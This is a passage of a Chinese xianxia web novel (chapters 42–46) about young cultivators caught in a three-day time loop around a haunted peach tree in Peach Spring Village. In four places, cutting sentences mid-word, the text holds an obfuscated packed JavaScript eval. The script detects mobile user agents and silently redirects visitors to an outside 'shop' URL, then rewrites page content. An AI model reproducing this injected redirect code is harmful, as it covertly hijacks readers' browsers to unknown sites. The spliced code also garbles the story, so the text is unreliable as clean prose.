想到此,林屿燕也顾不上手中的食盒了,催动体内的风灵力,拉着夏悠清便快速靠近了木屋。 “砰”的一声,木门被林屿燕推开,五双眼睛在白色的水雾间目光相对。 “小五,加水加水,锅要烧干了!”温季才怪叫一声,打破了一室的尴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114567|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尬。 高墨贤面无表情地抬手,捏了一个法术。 伏令年轻轻咳了一声,降低了火灵力的输出,外表自若地招呼道:“来了?一起坐吧。” 林屿燕和夏悠清近乎是僵硬地坐了下来,尤其是夏悠清,她一双清冷的美眸正显现着与她外貌完全不相衬的呆滞,死死地盯着伏令年面前正冒着白雾、里头疑似翻滚着肉片与草药的炼丹炉。 没错,伏令年正在用今早刚刚买下来的共轭炼丹炉进行一个煮火锅的行为。 从看到它的第一眼,伏令年便想这么做了。 而在这几年中,伏令年也找到了许多与原来世界调味料相似的草药。 “这…这是什么特殊的炼丹方式吗,伏师姐?”正牌丹修夏悠清讷讷地问道。 伏令年用两根木棍将煮熟的肉片挑了出来,递给夏悠清:“不是很特殊。”但绝对很好吃。 即使不是丹修,林屿燕也觉得自己看到了什么大逆不道的事情。总有种看到人用佩剑用膳的既视感。这让她不由得打了个寒颤。 却见吃掉肉片之后的夏悠清眼睛一亮,顿时恢复了神智。 “伏师姐这么做果然有她的道理!” ? 林屿燕觉得自己的脑袋里塞满了问号。 高墨贤看了林屿燕一眼,十分理解她的感受。 伏令年和温季才两人总是会做出很让人意想不到的事情,一开始会疑惑,再后来,高墨贤便能够自行去理解了。 或许便如她本人所说,生活不易,多才多艺。 因此,他很自然地接受了伏令年会炼丹的设定。 就算那天她说自己还会制符、炼器,他也不会太意外的。 就这样,五人便这么围坐在窄小的木屋中吃了一顿修仙界版火锅。 一开始,林屿燕还顾忌着修仙者食用凡食容易积累杂质阻碍修炼一事。 然而,自己的手脚和嘴巴似乎不再受到大脑的控制。 当吃下第五片肉时,她已然放弃了挣扎。 鲜嫩的肉质,放入口中在舌尖炸开的奇妙味道。似乎有一团火焰在唇齿间跳动,让口涎不断分泌。 听伏令年说,这是“辣”的感觉。 夏悠清则尤其喜爱“汤锅”中漂浮的青绿色相渐的条状物。她从未见过这样形状的“草药”。 一口咬下去,汁水在口腔内弥漫,辛辣与香甜共同充斥于舌尖。 吃饱喝足,几人都觉得幸福感满满。 而那盒桃花糕,此时正孤零零地躺在伏令年住所不远处的地面上。 秋日的寒风吹拂,未能吹散小屋中暖洋洋的气氛。 直到第二日,林屿燕才从吃火锅的美妙感中挣脱出来,并在心中决定一定要加倍修炼排除杂质——自己实在是太堕落了! 同时,她还想起昨晚被自己丢弃在伏令年门口的食盒。可当她去寻找时,食盒却不见了踪影。 就在此时,伏令年也从屋子中走了出来。 她看见林屿燕,招呼道:“村长已经在等着我们了。” 今日,他们要前往闹水鬼的河边探查情况。 43. 桃源深处 时候还很早,但对修仙者而言,晨起并不是一件困难的事情。 如果需要,他们甚至可以长时间不睡觉。 桃源村内道路有些狭窄,多是天然的泥土道路,伏令年几人跟着老村长慢慢行走于道上。 桃源村中已逐渐热闹起来,牲畜的动静与家家户户晨起的声响混杂在一块,不时有孩童从路旁屋舍中探出脑袋,好奇地观察着伏令年几人。 “这便是仙人吗?” “仙人来除水鬼啦!” 这时,突然有个孩童捧着用粗布包着的事物跑上前来,递给伏令年。 “仙…仙人,桃花糕、桃花糕。”孩童年纪尚小,低着脑袋,说话有些含糊不轻。 伏令年低头去瞧,只见孩童手中用布包着的,是几块粉白的花状糕点。 还未等她说话,前头的桃骆却反过身,挥手将孩童赶走了。 “抱歉仙长,他们不知晓你们已然辟谷,不食凡物,实在是多有冒犯。” 几位修仙者听到此话,想到昨晚的火锅,都有些心虚。 “咳。”夏悠清转移话题:“说到这个,伏师姐,昨晚我和林师姐……” 她将自己和林屿燕昨晚的遭遇说了出来。 还未等伏令年说些什么,却不想桃骆忽的面色一变,紧张地问:“几位仙长可食用了那桃花糕?” “没有,”林屿燕诚实地摇了摇头:“抱歉,我们昨日将食盒放在了外头,今日却发觉那食盒不见了,辜负了你们的一片好意。” “无事,无事。”桃骆好似松了一口气:“是小辈们不懂事,险些破坏了规矩。” 伏令年在一旁听着,忽觉得有些古怪。据夏悠清所说,那桃花糕外表呈乳白色,看着分外精美诱人。而伏令年刚刚看见的桃花糕是粉白色的,绝对和乳白色扯不上。并且,由于人工手制的原因,也算不上精美。 如果不是有人看错,那便是两种桃花糕有所不同。 然而,对于修仙者而言,能看错的可能性极低。 并且,桃骆似乎十分在意他们有没有吃那桃花糕,在意得有些过分了。虽说是担心破了规矩,但总让伏令年觉得哪儿不太对劲。 桃骆继续引路,伏令年和林屿燕拉在后头。 突然,伏令年耳边传来了一道声音。 “有点古怪。” 是林屿燕的声音。 伏令年侧头去看,不见林屿燕嘴部有动作,声音却再次传来。 “我用了传音术,将神识附于灵力之上,再推动灵力入他人耳内。” 尝试了一下,伏令年也使用传音之术,将自己想说的话传入了林屿燕耳中:“如何说?” “悠清未说详尽,昨日那女孩将桃花糕送来时,说那是阿爷让送的。我本来以为是村长所指示,毕竟我们第一日入村,知晓的村民应当不多。” 顿了一下,她又说:“而且,那女孩的脚步声有些古怪,过于沉重了。” 林屿燕知道自己可能有些太过敏感了,毕竟这貌似都不是很大的事情。但是,身为修仙者的她也十分相信自己的感受,昨晚那种隐隐的不安感让她觉得有必要说出自己的顾虑。 但身处团队之中,传播没有实质证据的怀疑也可能引起焦虑。因此,林屿燕选择先和自己在实力上认可的伏令年进行交流。 伏令年点了点头,传音道:“刚刚那孩子送来的桃花糕是粉白色泽的,同悠清的描述也有所不同…不过,或许是各人的手艺不同吧。”她没将话说死,心中的怀疑却更深了。 为了照顾桃骆的腿脚,几人走的速度很慢。 就在伏令年捕捉到水流之声时,却见走在前面桃骆一个趔趄,差些栽倒在地上。 好在前头的温季才手疾眼快,将桃骆给搀了起来。 伏令年低头看去,只见前方的地面颜色有些黑沉,应当是泥土被润湿后的痕迹。 “多谢仙长。”桃骆脸色发白,显然吓得不轻。 走过泥泞的道路,一行人来到了溪边,几位青年人见着村长,都齐齐围了上来。 “桃老,您总算来了,这几位是…仙长?” 带头的青年人胡子拉碴,双眼有些红肿,见到伏令年几人,皱起了眉头,显然是有些不信任。 桃骆点点头:“你们都离这儿远些,让几位仙长好好瞧瞧。” 走过青年身边时,伏令年忽地问道:“你是王家的?” 胡子拉碴的青年微微一怔:“你怎么知道?” “我自有卜算之法。”伏令年没有浪费时间解释,选择胡扯。 其实是猜出来的,见他一大早就来守在溪边,一副憔悴的模样,大约就是两位走失儿童的家人,不是王家便是刘家,二选一罢了。 “你们家的女娃是在什么时段消失的?”伏令年问。 许是伏令年刚刚一番装神弄鬼反而让这青年多了些信任,他思索了一会,道:“阿妹是未时离开的,一直到酉时都未回来。”说到这儿,他语气有些哽咽:“阿妹一向乖巧听话,绝不会贪玩乱跑,定是那水鬼抓了她。仙长们,你们一定要除了那水鬼啊!” 伏令年听着,脑中飞速回忆着以前学过的有关水鬼的内容。 水鬼是民间的称呼,只是一个泛类。有的可能是类似于鱼蛇怪那般水怪妖兽,因为太过诡异被认为是水鬼,但本质上还是一种生物。 然而,某些冤死在河中充满怨气的阴灵也可能会化作水鬼。这样的水鬼不属于活的“生物”,且更难以对付,超出了一般人理解的范畴。 照青年所说,王家女孩应当是在下午这段时间内消失的。这样的时间范畴太大,伏令年无法进一步进行推理。 想至此,伏令年又询问了桃骆关于第一位失踪孩童的信息,却得到了孩子是清晨放牛,中午被发现消失了。 两个完全错开的时间段。 更加不好推断了。 “我们会尽力寻找水鬼的。”伏令年朝着几位殷切注视着自己一行人的青年人道。 “桃源古树保佑,我阿妹一定要平安无事。”青年双手抱于胸前,喃喃自语。 “仙长在此,乱说什么呢?!”桃骆立即出声打断青年。 “啊…”青年脸色一变,有些慌乱。 这桃源村还有对桃源古树的信仰? 伏令年心中好奇,却见几人神色都十分古怪,看着不愿再多说了。她只得将这个信息暂放,跟着几位同伴来到了溪水边。 溪流清澈,在阳光下泛着粼粼波光。 伏令年甚至能透过流水看见底部游动的一尾尾鱼儿。 高墨贤拥有水灵根,能够更好的探查溪水中的情况。 在几人期待的目光下,高墨贤双眼微闭,过了一会后,他重新睁开双眼,摇了摇头。 “没有不对劲的地方。” 这既在意料之中,又令人有些失望。 几人分散开,沿着溪流走,试图捕捉那水鬼的痕迹。 岸边的泥土湿润,伏令年特意提气轻身,尽量不在泥地上留下脚印。忽然,她脚步微顿,目光落在不远处长着稀疏杂草的地面。 “怎么了?”一旁的温季才问。 “那里似乎被什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127533|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重物碾压过,杂草都贴在地面了。”伏令年道。 两人凑近细看,只见地面泥沙湿润,杂草弯折着陷入泥中。四周有拖曳的痕迹,一直延伸至水中。 伏令年一边警惕着,一边靠近溪水。一步、两步、三步。距离溪水仅有半步之遥。 水面骤然晃动。 伏令年右手已抚上剑柄,却见一尾鱼儿从中跃了出来,水花飞溅。 鱼儿重新落入水中,水面晃动了一会,便恢复了平静,只余下一片粉色的花瓣随着水纹缓缓飘动。 伸手捡起那片花瓣,鼻尖萦绕着淡淡的清香。伏令年抬头四顾,同时放出神识探入水中,也并未发现奇怪的事物。 一整天,伏令年几人依旧未能取得突破性发现。唯一算得上古怪的,就是伏令年发现的那一片杂草地。 临近傍晚,桃源村内炊烟袅袅,伏令年几人也停下了漫无目的的搜索,转而回屋打坐休整,准备待到夜深时再出来寻找线索。 窗外的光线逐渐暗淡,夜幕已至。 伏令年从入定中脱离,起身理了理衣袍。就在她准备推门而出时,忽听门口传来沉重不似寻常人的脚步声。 随即,“叩叩”的敲门声响起。 伏令年未有立即回应。 她放出神识,探向门口。神识穿过木门,却什么都未“看见”。 叩叩、叩叩、叩叩…… 敲门声依旧在以一个稳定到诡异的节奏不断响起。 伏令年已经抽出了佩剑,感到手心微微发汗。 如今的她手握力量,胆子早比以往大了许多。但面对如今这诡异的局面,再加之一向依仗的神识也失去了作用,伏令年一时间也有些失了分寸。 缓了口气,伏令年小心移动身体,往远离门的方向退去——她不打算给外头未知的敲门者开门。 无论外头是人是鬼,能够使伏令年神识探查失效的,绝对不是她一人能够轻易对付的事物。 就在这时,伏令年余光看见右手的窗口——此时,它正大敞着。 一阵寒风吹过,粉色的花瓣飘飘悠悠地落入了屋内。 屋子外头也种着桃源树吗? 这样的想法在脑中闪过,下一刻,伏令年只觉得血液瞬间在体内冻僵了。 外头的敲门声,似乎停了有一会儿了。 伏令年目光僵硬地落在窗口,总觉得会有什么可怖的事物从黑漆漆的夜色中探出。 颈部忽的一凉,似是有什么湿润的事物擦过。 伏令年强忍住没有立即转头,右手手腕翻转,一剑刺出。 长剑未受到任何阻挡,她一剑刺了个空。 回头扫视,只见粉色的花瓣正摇晃着飘落。 鼻尖又嗅到那股清香,伏令年却再无兴趣去欣赏这美丽的花朵。 一而再再而三,这花瓣必然不对劲。 就在此时,伏令年听见木板被挤压发出的动静。她快速转头,瞳孔中映出了一片惨白。 一个…姑且叫做人吧。 那是一个脸部手部已然浮肿的人,过于惨白的皮肤下不断蠕动着,似是有什么事物即将从中挣出。她的大半张脸都被垂落湿漉漉黑发所遮挡,双手正紧扒着窗沿处,压得木头咯吱作响。 原本被她捧在手中的食盒掉落,白色的糕点散落一地。 若是伏令年能看见窗外的场景,便会发现这个“人”的双腿似被什么事物穿过,牢牢钉在了一起。 鼻尖充盈着让人作呕的鱼腥味,女孩童稚的嗓音在伏令年耳旁响起:“仙长姐姐…为什么不给二妞开门呀?” 44. 记忆回环 本应是活泼可爱的嗓音在如此情况下显得粘腻可怖,恐惧如同无形的手,紧紧攥住了伏令年的心脏。 血液仿佛在逆流,伏令年五指冰凉,身体却有些发烫。 收紧僵硬的手指,她紧握住剑柄。 体内灵力运转,伏令年目光紧盯着窗口的“人”,就待一剑斩出。 “仙长…姐姐,来吃…桃花糕…” 自称是二妞的嗓音再度响起,声音有些断断续续,变得有些嘶哑。 与此同时,伏令年还听到了滑腻事物缠绕蠕动的声响,鼻尖的腥气更加浓烈。 窗口的“人”半个身体已然进入了伏令年的房间,她的身体近乎不成人形,手掌肿得比得上伏令年大半张脸庞。 “人”皮肤下的涌动越来越剧烈,让伏令年不敢直接以蛮力的方式攻击。 在伏令年做出抉择之前,女孩突然尖叫一声,尖利的声响让伏令年耳朵嗡鸣,脑袋也有些昏昏沉沉。 下一刻,窗前之“人”的身体骤然裂开,无数红白色条状物从中不断涌出。他们蠕动着、缠绕着,发出令人胃液翻涌的恶心咕噜声,密密麻麻又源源不断。 伏令年只觉得胃部一阵翻涌,恶心的欲要作呕。 这时,也由不得她再犹豫。 汹涌的灵力灌入手中佩剑,明亮的剑光霎时间撕破了夜晚的昏暗。 条状物似乎也感应到了危险,蠕动得更加厉害,拼命从皮肤的裂口处涌出,如同一张大网般覆盖了半边屋子。 鼻尖的腥臭味越加浓烈,在鱼腥味之外似乎还混杂着别的什么气味。总之,那不是什么让人愉快的气味。 强压下不安与恶心感,伏令年强行将注意力击中于自己手中之剑上,火焰在其上腾跃着,如火龙般直捣向窗口已经不成人形的怪物。 剑锋与怪物相触的一瞬,伏令年只觉得手腕一沉,有明显的阻塞感。 紧接着,剑刃直接没入怪物的脖颈,红白色的事物顿时从被切开的豁口处涌出,又被火焰吞没于内,发出滋滋的燃烧声。 就在伏令年即将把怪物的头颅斩断时,耳边传来轻微却明显的破裂声,在剑下奋力挣扎的怪物的身体寸寸碎裂。 原本还在地面上拼命蠕动的红白色事物也逐渐淡化,和散落一地的白色桃花糕一同化作片片粉白色的花瓣。 浓郁的香气代替了刚刚的腥臭味,伏令年心中却升起了强烈的危机感。她一剑斩出,难以再遏制向前的趋势,只能屏住呼吸,尽量不去吸入四周的气体。 然而,伏令年却依旧感到脑袋昏昏沉沉,手脚也开始发软。 最终,她不受控制地栽倒下去,甚至来不及担忧地面此时是否还残留那些恶心的事物。 迷迷蒙蒙间,伏令年翻了个身,忽觉得腹部一痛,猛地睁开了眼睛。 脑海还有些空白,她反应了好一会,记忆才逐渐涌入她的脑海。 伏令年捂着脑袋,呻吟了一会,待头痛稍稍缓解以后,她才有时间消化忽然涌入她脑海中的记忆。 随着脑海中记忆逐渐清晰,伏令年眉头却愈皱愈深。 一幅幅相似却又略微有所差别的画面浮现于脑海当中。 入村前先在水流边探查了许久的伏令年几人、村长桃骆讲解桃源村名字的来由、落在脖颈的花瓣、端着食盒出现于门口的女孩、围坐在一起享用火锅的几人……由于下雨而变得泥泞的道路、栽倒的桃骆、在伏令年多次追问下却对桃源古树信仰缄口不言的村民…… 伏令年震惊地发现自己脑海中出现了许多段重复的记忆,其中仅有细微的差别。 总结来看,第一次、倒数第二次以及最后的一次的记忆相差较大。 对比起来,第一段记忆是伏令年所有记忆中最平淡的。村长口中出现水鬼的缘由也并非是两个孩童失踪,只是村民夜晚听见河边有怪声。 晚上,林屿燕遇到了送桃花糕的小女孩,并撞破了伏令年几人偷吃火锅的画面在第一段记忆中并未出现。 几人只是平平淡淡地寻找了三天水鬼,却一无所获。最终在第三日的夜里失去了意识,再一睁眼便回到了刚刚通过法阵的地方,同时失去了以往的记忆。 后续的几次循环中,先是刘家男孩失踪,又是王家女孩失踪,再是不时出现的给伏令年几人塞桃花糕的孩子。 恰巧的是,伏令年几人就是没有一次吃上那桃花糕。不是因为吃火锅等意外的插曲,就是因为村长的阻止。 在倒数第二段记忆中,伏令年几人到达桃源村的第二日清晨遇见了王家青年,伏令年询问了青年妹妹失踪的情况,并听见了青年对桃源古树的祈祷。 当时的伏令年询问青年关于桃源古树的情况,得知桃源村确实一直都有桃源古树相关的信仰。 传闻,桃源古树由百年前的仙人植下,是有灵的仙木,能够守护桃源村世世代代。往后每年,村中都会在桃家带领下举办一场宴会,让新生儿得到桃源古树的祝福。 据他们所说,初生的孩童心灵纯净,最受桃源古树的喜爱。 由于受到桃源古树的祝福,村中的孩童夭折率远远低于其他村庄。 以伏令年的好几段记忆来看,桃源村中的孩子确实很多,且看上去都比较健康。这在凡间来说确实很难得。 由于王家青年的话,伏令年对桃源古树产生了额外的好奇。 于是,当天夜晚,伏令年几人在没有发现水鬼踪迹的前提下,前往处于村落中央的桃源古树。 夜里,雨下得极大,原本就是泥土铺就的地面更是泥泞不堪。 伏令年在桃源古树处看见了她永世难忘的画面。 苍天巨树之下,一具具孩童的骸骨被悬吊于枝干之下,随着粉嫩的花瓣在风雨中轻轻晃动着。 由此,倒数第二段记忆终结。 最后一段记忆以被怪物袭击而终结,开头和结尾相较于其余记忆都有较大的差别。 时间问题便是第一个疑点。 几人一踏出法阵便看到了黄昏,虽然听见周边有溪水流动的声响,却选择先入桃源村,未有进行探查。 伏令年几人从宗门借助传送阵时,时间约莫是巳时。到达木延街市没有花什么时间。 就时间的体感来说,几人在木延街市的闲逛时间绝对没有超过两个时辰。但由于木延 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13144955|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 街市始终处于黑夜的环境之中,弱化了几人对于时间流逝的敏锐度。 因此,虽然一来到凡间便看见黄昏之景,几人却并未过多怀疑。 至于为何会有这样的异变,也许是倒数第二段记忆中他们发现桃源古树异象而产生的影响。 其次,村长桃骆也格外可疑。 无论他们何时到达,却总会第一个遇上村长桃骆,并由着他引领进村。之所以身处其中没有起疑,是因为伏令年几人每次都会失去入村的记忆。 而在最后一段记忆中,伏令年还未来得及询问王家青年,村长便先一步训斥了他。 这导致最后一段记忆中的伏令年未有得到有关于桃源古树的信息。 同时,他似乎知晓桃花糕有问题,因而多次阻止他们食用桃花糕。 就是不知,这村长是否拥有记忆。 他究竟是循环中怀有善意的受害者,还是别有用心的谋划者呢? 一下知道了许多,伏令年脑子混乱的同时,又觉得更多的疑惑产生了。 例如,循环究竟从何处开始?为何会产生循环?她为何会失忆?又为何会突然恢复记忆?循环到底是如何造成的? 种种疑惑间,伏令年开始观察四周的环境。 她看见了那硌了她腹部一下的事物——是被她存放于储物空间之中、美男子所给予的那把【看上去不厉害但绝对很贵的剑】。 喉咙发出疑惑的哼声,伏令年捡起了剑,仔细端详了一会。 确实是那把剑。 只是,它怎么会出现在这儿? 想到此,伏令年摸了摸腰间,却发觉她缠于腰间的事物几乎都消失了,只余下有遨月峰象征的身份铭牌。 握着剑,伏令年缓缓靠近房门,伸手推开。 鼻尖忽地嗅到了一股淡淡的花香味。 伏令年抬头去看,却发觉她正处于一棵巨大的桃源树下。 “呕…” 这是伏令年的生理反应。 一闻到这个花香,伏令年便联想起那令人作呕的腥臭味,以及满地蠕动的红白色事物。 她恐怕长时间都无法摆脱这样的阴影了。 “你真过分。” 少女清亮的嗓音传入伏令年耳中,声音带笑,又隐含抱怨之意。 “我们花了好大功夫救你呢,你居然这么嫌弃我们。” 伏令年没有立即回复,她干呕了一会,好不容易缓过来。 直起身子,正对上一双桃花眼。 这可不是对眼形的形容。 站在桃源树底下的少女,有着一双琉璃般的粉色眼珠。眼珠里头,是两朵盛开的“桃花”。 一头深红近黑的头发,皮肤白得没有血色,使她整个人仿若一个大型的陶瓷娃娃。 “我们?”伏令年下意识问道。 就见陶瓷娃娃的嘴唇轻启,勾勒出一抹笑容:“是啊,另外一个你不是刚刚见过?二妞性子是有些急,让你见笑了。” 顿时,伏令年又回想起那诡异的场景,以及那不成人形的怪物。 伏令年:? 你管这叫性子有点急呢? 45. 夺命三连(待修) 夜色笼罩的房屋内,林屿燕睁开了双眼。不知为何,她内心隐隐不安,甚至无法静下心来修炼。 招呼一声正在捣鼓着炼丹炉的夏悠清,两人一同推开房门,打算与另外三位同伴汇合。 恰巧的是,温季才两人也出了门,正遥遥朝林屿燕两人挥着手。 目光相对,四人心领神会,一起朝着伏令年房屋所在的方向行去。 房屋外静悄悄的,今夜的天空无云,房屋外也无树木遮蔽,皎洁的月光落于屋檐,更衬得夜色深沉。 林屿燕靠近门口,忽觉得脚下一沉,似乎一脚踏入了泥泞当中。 眉头蹙起,手却已经在她做出改变前敲在了木门上。 “叩。” 没有回应,屋内也没有任何额外的动静。 林屿燕内心的不安愈加强烈,以伏令年的修为,绝对不会无法察觉屋外的细微动静——即使她正在打坐修炼。 这时,跟在她身后的夏悠清发出一声惊呼:“地面怎么这么泥泞,这几日未有下雨吧?” 看来,她也不慎踩入了泥泞当中。 林屿燕不再犹豫,手上发力,硬生生震开木门上的锁。 咔嚓一声,木门敞开,林屿燕持剑,目光深沉。 透过门缝,屋内黑漆漆的,没有点灯。 一股淡淡的香气从屋内传出,钻入林屿燕的鼻腔。 温季才两人虽还有一段距离,不晓得发生了什么。但看见林屿燕奇怪的动作,亦是察觉到了不对。 两人加速靠近的同时,林屿燕伸手,将木门彻底推开。 灵力汇聚于双眼,林屿燕看见了木屋内的场景。 粉白色的花瓣散落于屋内各处,如同天然的床铺。 然而,除此之外,屋内再无伏令年的身影。 她消失了。 屋内陈设皆无损坏,由此可知,战斗并未发生于屋内。 那么,若不是伏令年在未通知几人的情况下自行离开了木屋,便是她在失去反抗之力后被带离了房屋。 无论是哪一种,都完全超出了几人先前的预料。 事情似乎并非是捉拿水鬼那样简单了。 有限的线索似乎指向了桃源村中随处可见的桃源树。 顾不得此时正处于深夜,几人立即动身前往村长所说的村落中心——桃源古树所扎根的地方。 远远的,几人便见到了隐没在黑夜中的树影。 枝干之上,粉白色的花朵在晚风中轻微摇曳,几人又闻到了那股淡淡的清香。 “你们看…树底下。”温季才目力极佳,指了指上方。他此时面色严肃,完全没有了平日的随性。 几人顺着温季才的手指望去,看见了枝干底下垂吊着的、孩童的骸骨。 更令他们震惊的,却是一道让他们再熟悉不过的身影。 少女双眼紧闭,无数道细密丝线缠绕着,将她单薄的身躯托起,悬挂于空中。 “伏师姐……”夏悠清声音发颤,喊出了少女的身份。 就在几人沉浸于过大的震惊之中无法自拔之时,背后却传来了一道苍老的嗓音:“几位仙长,你们…在看什么?“ …… 伏令年此时正与瓷娃娃相对而坐,在如此距离之下,她能清晰看见瓷娃娃身上缠绕着的丝丝缕缕、远看近乎难以察觉的丝状物。 丝状物从瓷娃娃衣袍底下伸出,一直延伸着没入桃源树的顶端。 顺着丝状物,伏令年的目光向上,看见满树盛开的粉白色花朵。伏令年脑海中又回想起了倒数第二段记忆中目睹树下悬挂孩童骸骨的画面,不由打了个哆嗦。 “终于能和你面对面交流了。”瓷娃娃嘴角依旧挂着不似真人的笑容:“可真是不容易。” 伏令年没有回应,等着瓷娃娃的下文。 瓷娃娃也并未觉得尴尬,自顾自地说道:“本来,若是你们吃下那桃花糕,我便能早几日邀请你来这儿做客。可惜,他们看得太紧了,我只能换一种方法。” “所以,你让…二妞来袭击我?” 听了这句话,瓷娃娃歪了歪头,似乎很是惊讶。 “当然不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151622|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”瓷娃娃笑道:“二妞是个可爱的孩子,她只是在欢迎你罢了。” 先不提二妞是不是能称得上可爱,就是“欢迎”她这个说法,伏令年也是不敢苟同的。 瓷娃娃等了一会,也不见伏令年再说话,她似是有些失望。 “你猜不到吗?” 就在这时,神识海忽有所触动,许久未见踪影的系统再次出现。 【九十年义务修仙系统提醒您:】 【限时任务:快问快答】 【任务介绍:在记忆中寻找线索,并回答桃源树灵的问题吧!】 【成功奖励:无失败惩罚:变成桃源树的养料】 伏令年被骤然出现的系统提示吓了一跳,随即,背脊一阵发凉。 她已经许久未再见过系统给出的任务,却未想系统一出现便是如此的重磅。 失败惩罚与其说是系统将给予的惩罚,不如说是一种预警。 面前的瓷娃娃嘴角依旧带着笑容,一双琉璃眼珠看不出具体神色,也全然没有危险的感觉。如果未收到系统突如其来的提示,伏令年几乎都要忽略掉瓷娃娃可能带来的危险。 眼见着红艳艳的倒计时在神识海内跳动,伏令年脑中飞速运转着,脱口而出:“花瓣!”最后一次记忆中,她曾所次看见桃源树的花瓣。 第一次,是初入桃源村,落于她脖颈处的花瓣。 第二次,是在溪流边拾取的花瓣,伏令年环视四周,周围却未种植有桃源树。 第三次,寒风卷着花瓣落入屋内,而屋外同样也未有桃源树。 而后,二妞从窗台爬入,伏令年出手攻击,一切都破碎为花瓣飘散。 一路行来,花瓣多次出现,显得格外诡异。 伏令年一语落下,瓷娃娃顿时开心地鼓起了掌。 “那么,你再猜猜,是谁在阻拦我们见面呢?” “还有还有,你再猜一下,我为什么要邀请你来呢?” 眼见着倒计时重置后再次跳动,伏令年差些一口气没喘上来。 还有完没完?! 46. 系统活了 这是伏令年第一次觉得系统居然还颇有用处。 这样的想法还未落下,神识海中的系统提示便发生了变更。 【九十年义务修仙系统提醒您:】 【限时问答任务完成,触发后续任务】 【限时任务:寻找三日轮回的真相】 【完成奖励:【有用的奖励*1】 失败惩罚:【变成风铃挂在树上~】】 这系统有点太不经的起夸了吧! 果然,系统可不会平白无故帮她理清思路。 还有,为什么任务依旧是寻找三日轮回的真相,她刚刚的推理难道并非正确?这个失败惩罚又是什么东西,太恶趣味了吧! 【你回答了答案,但并非标准答案】 让伏令年更意外的是,系统居然主动做出了解释。 也就是说,自己刚刚一顿操作猛如虎,结果想的都是错的? 【多个角度考虑问题,才能答出满分答案噢~】 伏令年萎靡了。 这和对答案时发现上面只写着答案略又有什么区别! 不过,话说回来,今天的系统似乎格外活跃了一些。 以前都只是丢下任务就任由伏令年自身自灭,如今却能回答她的问题了。 想到此,伏令年在内心疯狂地想着各种问题。 ‘桃源树妖真的能复活所有桃源村居民吗?能不能消除二妞的怨气让她重归平静?那些魔修现在在哪里?怎么打破三日轮回让同伴们也恢复记忆?’ 【系统也不知道哦~】 伏令年:…… 好吧,没用的系统。 【有用的宿主,答案要自己寻找哦,加油!不如就从问问眼前人开始嘛。】 伏令年一时惊讶于系统“活了过来”,差点就忘记面前桃源树妖的存在了。 经系统一提醒,她脱离了神识海,将注意力放回桃源树妖身上。 到底,是哪里出了错呢? “你把我带出轮回,是需要我做什么吗?”伏令年没有选择弯弯绕绕,直接问道。 桃源树妖说过,祂厌恶狡猾且不诚实的外乡人。 直来直去地提问,总不能算作狡猾且不诚实吧。 “杀了那些外乡人。”桃源树妖的回答也着实是直接,让伏令年不由得挑了挑眉。 以桃源树妖的说法,那些外乡人可都是实打实的魔修,且修为都不会低于金丹期。 杀了他们,谁去?我吗? 她可是无辜且弱小的筑基期修士啊。 不过,伏令年当然不敢直接拒绝,她委婉地道:“我一人的力量十分弱小,恐怕无法做到。” “不。”桃源树妖笃定道:“他们已经十分虚弱,若不是我无法直接出手,也无需你的帮助了。若你答应出手相助,我会告诉你如何杀死他们。” “其实,我和我的同伴是昆仑宗的修士,如果能让我们离开寻求宗门的帮助…” 桃源树妖否定道:“只要进入三日轮回,便无法离开。” 话都说到这份上了,伏令年也不认为桃源树妖会给她拒绝的机会。 叹了口气,伏令年点了点头:“好吧,我会尽力帮助你。不过,在你告知我如何杀死那些魔修之前,我想问你一个问题。” 桃源树妖没有拒绝。 “处于三日轮回中的人,能够向外界传递信息吗?” 在伏令年的注视下,桃源树妖未作迟疑地摇了摇脑袋,引动着身上细丝摇晃。 “不可能。” …… 夜色笼罩的房屋内,林屿燕睁开了双眼。不知为何,她内心隐隐不安,甚至无法静下心来修炼。 招呼一声正在捣鼓着炼丹炉的夏悠清,两人一同推开房门,打算与另外三位同伴汇合。 恰巧的是,温季才两人也出了门,正遥遥朝林屿燕两人挥着手。 